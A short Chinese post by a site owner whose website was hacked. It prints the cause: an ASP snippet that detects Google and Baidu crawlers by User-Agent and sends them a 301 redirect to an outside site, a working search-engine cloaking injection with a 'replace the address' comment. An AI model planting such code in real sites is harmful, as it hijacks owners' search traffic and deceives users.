近日发现网站被黑,被挂到一个非法网站。。找到原因,是用了一个判断跳转。

代码 复制 - 运行

<%
function Getbot()
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
if instr(1,s_agent,"googlebot",1) > 0 then
GetBot="google"
end if
if instr(1,s_agent,"baiduspider",1) > 0 then
GetBot="baidu"
end if
end function
if GetBot="baidu" or GetBot="google" then
 
url="http://www.mudanz.com"                ‘//跳转地址,请自行替换

Response.Status = "301 Moved Permanently" 

Response.AddHeader "Location", url

Response.Write""
else
Response.Write""
end if
%>